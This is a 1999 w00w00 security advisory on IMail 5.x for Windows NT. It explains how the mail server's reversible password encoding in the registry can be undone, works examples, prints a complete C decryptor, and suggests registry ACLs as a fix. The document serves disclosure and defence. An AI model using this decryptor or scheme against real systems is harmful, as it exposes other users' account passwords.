Subject: [w00giving '99 #10] IMail 5.0 Password Decryption

w00w00 Security Development (WSD)
http://www.w00w00.org/advisories.html

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Discovered by: Mike Davis (mike@eEye.com)

DESCRIPTION
IMail is (among others) a POP3 daemon for Microsoft Windows NT.  Any user
who can login to the machine with the IMail database can also retrieve the
encrypted passwords for ANY user. All they need to do is open a registry
editor (i.e., regedit.exe).

TECHNICAL DETAILS
The IMail database is really just registry keys.  The IMail server stores
all users in the registry under:
  HKEY_LOCAL_MACHINE\SOFTWARE\Ipswitch\IMail\Domains\
  <DOMAINNAME>\Users\<USERNAME>

[Where DOMAINNAME is the name of the domain the POP3 server is serving and
 USERNAME is the user.]

Within that key is an string value named 'Password' which contains the
encrypted copy of the password.

VERSIONS AFFECTED
I test 5.0 through 5.08 and assume anything less than 5.0 is also
vulnerable.

ENCRYPTION SCHEME
Take the lowercase of the account name, split it up by letter and convert
each letter to its ASCII equivalent.  Next, find the difference between
each letter and the first letter.  Take each letter of the password, find
it's ASCII equivalent and add the offset (ASCII value of first char of the
account name minus 97) then subtract the corresponding difference.  Use
the differences recursively if the password length is greater than the
length of the account name.  This gives you the character's new ASCII
value.  Next, Look it up the new ASCII value in the ASCII-ENCRYPTED
table (see Appendix I) and you now have the encrypted letter.

Example:

Account Name: mike
m = 109
i = 105
k = 107
e = 101

Differences:
First - First: 0
First - Second: 4
First - Third: 2
First - Fourth: 8

Unencrypted Password: rocks
r = 114
o = 111
c = 99
k = 107
s = 115

(ASCII value + offset) - difference:
offset: (109 - 97) = 12
(114 + 12) - 0 = 126
(111 + 12) - 4 =  119
(99 + 12) - 2 = 109
(107 + 12) - 8 = 111
(115 + 12) - 0 = 127

126 = DF
119 = D8
109 = CE
111 = D0
127 = E0

Encrypted Password: DFD8CED0E0

The decryption scheme is a little easier.  First, like the encryption
scheme, take the account name, split it up by letter and convert each letter
to its ASCII equivalent. Next, find the difference between each letter and
the first letter. Now split the encrypted password by two characters
(e.g., EFDE = EF DE) then look up their ASCII equivalent within the
ASCII-ENCRYPTED table (see Appendix I).  Take that ASCII value and add the
corresponding difference.Look this value up in the ascii table.  This
table is made by taking the ASCII value of the first character of the
account name and setting it equal to 'a'.

EXAMPLE

Account Name: mike
m = 109
i = 105
k = 107
e = 101

Differences:
First - First: 0
First - Second: 4
First - Third: 2
First - Fourth: 8

Encrypted Password: DFD8CED0E0
DF = 126
D8 = 119
CE = 109
D0 = 111
E0 = 127

Add Difference:

126 + 0 = 126
119 + 4 = 123
109 + 2 = 111
111 + 8 = 119
127 + 0 = 127

Look up in table (see Appendix II):
126 = r
123 = o
111 = c
119 = k
127 = s

Unencrypted Password: rocks

Where to find appendixes:

Because they took up so much space, we put them in a separate file located
at: http://www.w00w00.org/imail_map.txt.  They include the mappings of all
characters.

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Proof-of-concept code (by Mike):

/*
 * IMail password decryptor
 * By: Mike Davis (mike@eEye.com)
 *
 * Thanks to Marc and Jason for testing and their general eliteness.
 * Usage: imaildec <account name> <encrypted password>
 *
 */


#include <stdio.h>
#include <stdlib.h>
#include <memory.h>

void usage (char *);
int search (char *);
int eql (char *, char *);
int lc (int);
int strlen();

struct
{
  char *string;
  int o;
} hashtable[255];

struct { char *string; } encrypted[60];

char *list = "0123456789ABCDEF";

int alpha[95] = {
  32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49,
  50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67,
  68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85,
  86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102,
  103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116,
  117, 118, 119, 120, 121, 122, 123, 124, 125, 126 
};

int
main (int argc, char *argv[])
{
  int i, j, k, ascii, start, diffs[66], num, loop;
  char asciic[155];

  if (argc <= 2 || argc > 3) usage (argv[0]);
  if (strlen (argv[2]) > 62)
  {
     printf ("\nERROR: Please enter an encrypted password less than 60 "
             "characters.\n\n");

     usage (argv[0]);
  }

  printf ("IMail password decryptor\nBy: Mike <Mike@eEye.com>\n\n");

  ascii = -97;

  /* Make the hash table we will need to refer to. */
  for (i = 0, start = 0; i < strlen (list); i++)
  {
     for (k = 0; k < strlen (list); k++)
     {
        hashtable[start].string = (char *) malloc (3);
        sprintf (hashtable[start].string, "%c%c", list[i], list[k]);
        hashtable[start].o = ascii++;

        /* Don't want to skip one! */
        if ((k + 1) != strlen (list)) start++;
     }

     start++;
  }

  for (k = 0, start = 0; k < strlen (argv[1]); k += strlen (argv[1]))
  {
     for (j = k; j < k + strlen (argv[2]); j += 2, start++)
     {
        encrypted[start].string = (char *) malloc (3);
        sprintf (encrypted[start].string, "%c%c", argv[2][j],
                 argv[2][j + 1]);
     }
  }

  for (j = 0, start = 0; j < strlen(argv[2]) / strlen(argv[1]); j++)
     for (i = 0; i < strlen (argv[1]); i++, start++)
        diffs[start] = (lc(argv[1][0]) - lc(argv[1][i]));

  printf ("Account Name: %s\n", argv[1]);

  printf ("Encrypted: ");
  for (i = 0; i < strlen (argv[2]) / 2; i++) printf ("%s", encrypted[i]);
  putchar('\n');

  printf ("Unencrypted: ");
  for (i = 0, loop = 0; i < strlen (argv[2]) / 2; i++, loop++)
  {
     num = search (encrypted[i].string) + diffs[i];
     if (loop == 0)
     {
        /* Make alphabet */
        for (j = lc (argv[1][0]) - 65, start = 0;
             j <= lc (argv[1][0]) + 29;
             j++, start++)
        {
           asciic[j] = alpha[start];
        }
     }

     putchar(asciic[num]);
  }

  putchar('\n');
  return 0;
}

int
search (char *term)
{
  register int n;

  for (n = 0; n < 255; n++)
     if (hashtable[n].string && eql (hashtable[n].string, term))
        return hashtable[n].o;

  return 0;
}

int
eql (char *first, char *second)
{
  register int i;
  for (i = 0; first[i] && (first[i] == second[i]); i++);

  return (first[i] == second[i]);
}

int
lc (int letter)
{
  if (letter >= 'A' && letter <= 'Z') return letter + 'a' - 'A';
  else return letter;
}

void
usage (char *name)
{

  printf ("IMail password decryptor\n");
  printf ("By: Mike (Mike@eEye.com)\n\n");
  printf ("Usage: %s <account name> <encrypted string>\n", name);
  printf ("E.g., %s crypto CCE5DFE5E2\n", name);
  exit (0);
}

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Patch:

Ipswitch was notified of this advisory last week, and they have not
responded.  They released a never version afterwards, but we cannot
confirm whether or not this latest version, 6.01 fixes the vulnerability.
Their site says:
  This patch fixes problems with POP server and IAdmin application,
  including external database authentication problems and possible
  password corruption problems.

Until we have positive confirmation, you can set an ACL on each registry
key containing the password to prevent normal users (while still allowing
IMail) from viewing other users' passwords.  You are safe to remove read
permissions on these registry keys--they will not affect IMail (as it
doesn't run with user privileges).

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